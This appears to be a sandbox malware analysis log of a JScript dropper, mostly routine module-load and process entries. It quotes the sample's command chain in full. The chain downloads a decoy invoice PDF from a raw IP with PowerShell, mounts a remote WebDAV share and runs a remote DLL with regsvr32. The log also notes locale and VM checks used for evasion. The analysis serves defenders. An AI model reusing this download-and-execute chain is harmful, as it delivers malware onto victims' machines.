Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7439.js.csv");ITextStream.WriteLine(" entry:7065 f:qsrvyz");ITextStream.WriteLine(" exec:2 f:qsrvyz");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49700

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4458			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5041			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3216	Thread sleep count: 4458 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4808	Thread sleep count: 5041 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7220	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7260	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4872	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7272	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7492	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 524	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 0000000D.00000002.1343517317.000001CBEC628000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: wscript.exe, 00000001.00000003.1269959904.000001D1CC50A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: net.exe, 0000000D.00000003.1341999484.000001CBEC68B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1343958944.000001CBEC68B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000003.1342701250.000001CBEC68B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2566746936.0000016192254000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2566689296.0000016192241000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 0000000F.00000002.2565555029.000001618CC2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
